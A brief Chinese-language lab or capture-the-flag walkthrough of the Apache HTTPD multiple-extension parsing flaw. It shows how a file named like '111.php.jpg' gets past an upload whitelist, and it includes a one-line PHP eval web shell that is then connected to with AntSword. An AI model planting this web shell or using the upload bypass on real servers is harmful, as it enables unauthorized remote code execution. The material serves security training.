httpd 后缀解析

名称：httpd 后缀解析

描述：Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。

在有多个后缀的情况下，只要一个文件含有.php后缀的文件即将被识别成PHP文件，没必要是最后一个后缀。利用这个特性，将会造成一个可以绕过上传白名单的解析漏洞。

步骤1

搭建网站，进行访问

步骤2

编写一个后缀的网站后门

<?php phpinfo();?>

修改后缀为{111.php.jpg}

步骤3

上传图片码

步骤4

上传成功，进行验证

添加后缀，进行访问

Ctrl+F进行查找{flag}

这里更换另一种读取方式

步骤2

编写一句话木马

<?php @eval($_POST['cmd']);?>

继续上传

空白页面，执行成功

使用蚁剑链接

拿到{flag}